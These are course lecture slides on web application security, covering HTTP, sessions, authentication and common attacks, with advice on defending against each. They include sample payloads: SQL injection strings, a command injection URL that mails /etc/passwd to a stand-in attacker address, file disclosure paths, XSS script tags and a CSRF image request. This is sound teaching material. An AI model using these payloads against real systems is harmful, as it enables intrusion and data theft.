ISEC0511 Programming for Information System Security

1. ISEC0511Programming for Information System Security Lecture Notes #4 Security in Web Applications

2. Web Application Basics • Web applications generally use following communication protocols. • Hypertext Transfer Protocol (HTTP) • HTTP Secured (HTTPS). • User interface could be Hypertext Markup Language (HTML) with JavaScript (JS) running on browsers. • Clients can be any kind of computing devices that can run a browser: PC, PDA, smart phone, etc.

3. Web Application Basics • On the server side, the server software can be: • Web server. Serves static web contents, such as HTML files, JavaScript files, images, etc. • Application server. Serves dynamic web contents, mostly programmed by JSP, PHP, ASP, ASP.Net . • Applications developed to run on application server is called “web application”, commonly called “webapp”. • Note that, in webapp, human interacts with the application. In web services, application interacts with applications.

4. Webapp vs. Web Services • Web application • Web services Webapp Webapp Web Service Web Service

5. Application Layers for Static Web HTML + JS HTML + JS Browser Web Server OS OS

6. Application Layers for Webapp Web application (JSP, PHP, ASP) HTML + JS Browser Application Server OS OS

7. Protocol Stack for Webapp • Several network protocols are used in the protocol stack Web Client Web Server HTTP HTTP TCP TCP IP IP

8. HTTP Protocol • HTTP stands for Hypertext Transfer Protocol. • HTTP is the communication protocol used between a web browser and a web server • Main characteristics • HTTP is connectionless. • HTTP is media independent. • HTTP is stateless.

9. HTTP Methods • Common HTTP methods (request) are: • GETmethod: used to retrieve information from the web server with specific URI (Universal Resource Identifier). • HEAD method: similar to GET, but used to get only the header part of the response. /getdata.cgi?home=Mosby&favorite+flavor=flies

10. HTTP Methods • POST method: used to retrieved information from the web server, but request content is in the message body. POST /path/script.cgi HTTP/1.0 From: frog@jmarshall.com User-Agent: HTTPTool/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 32 home=Mosby&favorite+flavor=flies

11. URL Encoding • If data contain special characters, they must be encoded in the URL. • Here are the list of reserved and non-reserved characters. • Other character must be percent-encoded.

12. HTTP Cookies • HTTP cookies is a piece of text stored by a user's web browser.

13. Security Challenge on the Web • One major security challenge is that every browser allows the user to see the source code of the current page. • Source code contents include HTML and JavaScript. • This will allow an adversary to know field details and the type of validation or check being performed by the JavaScript. • Also, it’s not mandatory that HTTP request be submitted by a browser. Anyone or any tool that knows HTTP can submit a request.

14. Sessions • HTTP is fundamentally session-less. • State information must be handled by web applications • Common mechanism to handle session are: • Hidden parameters • Browser cookies http://forums.adobe.com/message/2011291;jsessionid=9519B628B1763FF2DAF437F7240EEC99.node0

15. Authentication Issues • Many resources are protected for a legitimate user through authentication on the web. • Users are authenticated before accessing protected resource. • For a web site, authentication can be done by a web server usually by configuration files. • For a web application, authentication is done by the application itself. The application sever only provides mechanism for manage session IDs.

16. Basic/Digest Authentication • When a particular resource within the realm is accessed by a user, the Web server sends a HTTP 401 response (authentication required header) with the response to the request. • A login dialog box pops up in the browser. • Browser submits data again and authenticated by the web server. • Authentication data is sent along with every HTTP request to the server.

17. Basic/Digest Authentication • In Basic authentication, the username and password are sent as cleartext (BASE64 encoded). • In Digest authentication, the password is hashed at the browser using the Message • MD5 algorithm is used and the hash value is sent to the server

18. Web Form Authentication • For a web application, the application server provides means to manage session ID between browser and app server. • When authentication succeeds, the application tags the session ID as authenticated. • The application remembers which session is already authenticated by looking at the session ID from the browser whether it has authentication tag.

19. Authentication Issues • There are security measures that should be taken when doing authentication: • Use strong passwords. • Do not store cleartext credentials in configuration files. • Do not pass cleartext credentials over the network. • Do not allow over-privileged accounts. • Do not allow prolonged session lifetime. • Allow personalization and caching of authentication information.

20. Cryptography and Privacy • To preserve user’s privacy, it is necessary that the confidential and private information flowing through the Internet is encrypted. • This can be achieved through a virtual private network (VPN) or encryption. • The trade-off is that encryption generally put higher load on the server (and also the client).

21. Cryptography and Privacy • Measures: • Use proven cryptography algorithms. • Do not use custom-made algorithms. • Do not use any key that is small. • Ciphering key-exchange algorithms should be robust; distribute keys in a secure manner. • Secure the encryption keys; if the keys are compromised the whole security system is compromised. • Change the key regularly so that the same key is not used for a prolonged period of time.

22. Configuration File Management • Configuration files usually contain important information. Thus, it should be protected from being accessed or modified. • For modern web application, there usually is a configuration file that contains username and password to connect to a database server. • Measures: • Use secured administration interfaces. • Store the configuration information in secured stores.

23. Configuration File Management • Always delete sensitive data if a transaction is either successful or fails. • Avoid storing of configuration data in cleartext, especially security-related data. • Avoid many administrators and multiple administration interfaces. • Avoid sharing administrative account among administrators.

24. Session Management • In web applications we maintain sessions through state information, which always flow between client and server. • Session hijacking can be done if attacker can capture state information. Client Server Attacker

25. Session Management • Measures: • Never pass session IDs over unencrypted channels. • Do not permit prolonged session lifetime. • Do not store session state in a unsafe store, both client-side and server-side. • Avoid placing session IDs in query strings (URI).

26. Security Issues with Webapp • Denial of Service attack • Server information exposure • Code injection • SQL injection • Parameter tampering • File disclosure • Command execution • Buffer overflow • Cross-site scripting (XSS) • Cross-site Request Forgery (CSRF) • Session Fixation Attack

27. Denial-of-Service Attack • DoS attack can be done at different points. • Operating system running the web application or web server • Network stack attack, e.g. half-open TCP • Bugs or vulnerabilities on the web server or application server. • Bugs or vulnerabilities on the web application itself (fixed by secure coding and safe programming)

28. Server Information Exposure • Information exposed when an error or exception occurs on the server should be minimal. • The philosophy behind error message is the user should get sufficient information from the error message to correct the error and try the right steps.

29. Server Information Exposure

30. Code Injection • Common code injection attack in web applications is SQL injection. • The root of all code injection problems is that developers put too much trust in the users of applications. • It is also not mandatory that a user will always use a browser. • An attacker may use some homegrown browser that can be used to do all sorts of illegitimate things.

31. SQL Injection Attack • SQL injection attack is done by injecting special partial SQL command to be appended at the server side to get executed. • For example: program at the server side: • For normal circumstance, assume docid is “55072”, SQL becomes: SQL = "SELECT docid, docname FROM documentlist WHERE docid = '" + docId + "'"; SELECT docid, docname FROM documentlist WHERE docid = ‘55072’

32. SQL Injection Attack • Many attacks target on the WHERE clause of the SQL. • Some basic on the WHERE clause: • WHERE cusid = ‘john’ • WHERE docid = 300 • WHERE docname LIKE ‘%Oracle%’ • WHERE type = ‘saving’ AND balance > 10000 • WHERE ( type = ‘sales’ OR name LIKE ‘M%’ ) • SQL comment symbol is "-- "

33. SQL Injection Attack • Now, let docid be • This makes SQL becomes • The results becoming from database server would return all documents in the database !!! 55072’ OR ‘1’ = ’1 SELECT docid, docname FROM documentlist WHERE docid = ‘55072’ OR ‘1’ = ‘1’

34. Common SQL Injection Tricks • ‘ or 1=1-- • “ or 1=1-- • or 1=1-- • ‘ or ‘a’=’a • “ or “a”=”a • ‘) or (‘a’=’a • Like, • ok’ or 1=1-- • ok” or 1=1-- • ok or 1=1-- • ok’ or ‘a’=’a • ok” or “a”=”a • ok’) or (‘a’=’a

35. Common SQL Injection Tricks • How about attacking the following SQL commands? • To list all the users? • To always log in successfully? • To list all customers? SQL = "SELECT * FROM user WHERE user = " + u; SQL = "SELECT * FROM user WHERE user = " + u + " AND pass = '" + p + "'"; SQL = "SELECT * FROM customer WHERE id = '" + u + "' or name like '" + p + "'"; SQL = "SELECT * FROM customer WHERE ( id = '" + u + "' or name like '" + p + "')";

36. Code Injection through URL • In code injection through URL, special data are inserted to the URL to achieved “desired” effect. • The attacker must know how URL is encoded by the browser to send crafted data.

37. HTTP URL Encoding • Parameter starts after “?” • Multiple parameters are joined by “&” • Spaces are translated into “+” • Special characters are translated into %XX (hex number), for example Thai characters. (try searching for TIS-620 table from the web) • % is translated into %25 • For example http://www.mycompany.com/list.jsp?type=customer&type=saving http://www.mycompany.com/detail.jsp?cusname=john+macquire

38. Code Injection through URL Example • For example, normal URL is • Command to create at the server is: • This would also list all the documents from the database. http://www.mycom.com/manuals.jsp?docid=55072 http://www.mycom.com/manual.jsp?docid=55072’+OR+’1’=+’1

39. Command Injection in SQL Injection • In addition to manipulate SQL where clause, under some circumstances, you may be able to fully inject another SQL command. • For example: http://www.mycom.com/manual.jsp?docid=55072'; insert+into+documentlist+values+('99999','hoho');--+

40. Parameter Tampering • Most web requests contain parameters from the client-side, which cannot be fully trust. • SQL injection is also done by manipulating request parameters. • In basic forms, parameter tampering may let attacker to change any parameters submitting to web server at will. • JavaScript validation at the client side does not work since the attacker may use any tools he/she likes. • Thus, validation on the client side is only for web browsing experience, not for security.

41. Parameter Tampering • Measures: • Validate all input parameters at the server side. • Avoid storing sensitive data in unencrypted cookies. • Avoid storing sensitive data in query strings and form fields. • Never trust HTTP header information. • Disable View Source on the browser and stop the user from seeing the HTML source. Note that, this can only stop naive hackers, not experience ones.

42. File Disclosure • Generally, any files under web root directory can be accessed by using URL. • Do not put files that contain sensitive information under web root directory. • Attack URL can be: • Also, do not allow client side to specify file location that will be read by webapp. • Attack URL can be: http://www.mycom.com/any/path/you/like/important.dat http://www.mycom.com/openfile?file=data.txt http://www.mycom.com/openfile?file=/etc/passwd

43. Command Execution • Avoid parameter from the URL to be appended to executed command on the server side. • OS-level command at the server side may be • However, you may get URL like: • You, in turn, run: http://my.com/openfile?file=data.txt grep saving data.txt http://my.com/openfile?file=data.txt;cat+/etc/passwd|mail+bad@bad.com grep saving data.txt ; cat /etc/passwd | mail bad@bad.com

44. Buffer Overflow Attack • Buffer overflow attack can also be done by using web requests. • However, crafting a web request in order to get buffer attack to run specific command is not easy, but possible.

45. Cross-Site Scripting (XSS) • Cross-site scripting attack (XSS) is done by submitting commands (usually JavaScript) to vulnerable web site. • When a legitimate user browses into the web site, command flows from the server back to browser and gets executed by the user. • Damage depends on the victim’s privilege. Attacker Victim User Vulnerable Web Application 2: browse and run the submitted commands. 1: submit crafted data

46. Cross-Site Scripting (XSS) • For example, instead of submitting forum message to the web application like this: • The attacker submits: • or • When a victim browses into the forum, the command flows from the server to the browser, and the browser of the victim pops up a new window to google !! Hi, there <script type="text/javascript">alert('hello. Got ya.');</script> <script type="text/javascript">window.open('http://www.google.com');</script>

47. Cross-Site Scripting (XSS) • It’s advise for web application to escape following characters when feeding data back to browsers. • < (&#40) • > (&#41) • # (&#35) • “ (&#34) • ‘ (&#39) • & (&#38)

48. Cross-Site Request Forgery (CSRF) • In a more advanced setup, affected web server may be another web server that the victim user has authorized to access. Attacker Victim User Vulnerable Web Application Victim Web Application 1: submit crafted data 2: browse vulnerable web page. 3: run the submitted commands on another application.

49. Cross-Site Request Forgery (CSRF) • Example • Victim must pre-authenticate to the target web site, or no authentication is required. • Target site must not check HTTP “Referer” header. <imgsrc="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">

50. Session Fixation Attack (1) • Mallory has determined that http://unsafe/ accepts any session identifier, accepts session identifiers from query strings and has no security validation, thus not secure. • Mallory sends Alice an e-mail: "Hey, check this out, there is a cool new account summary feature on our bank, http://unsafe/?SID=<Fixed SID>". • Alice is interested and visits http://unsafe/?SID=<Fix SID>. The usual log-on screen pops up, and Alice logs on. • Mallory visits http://unsafe/?SID=<Fixed SID> and now has unlimited access to Alice's account.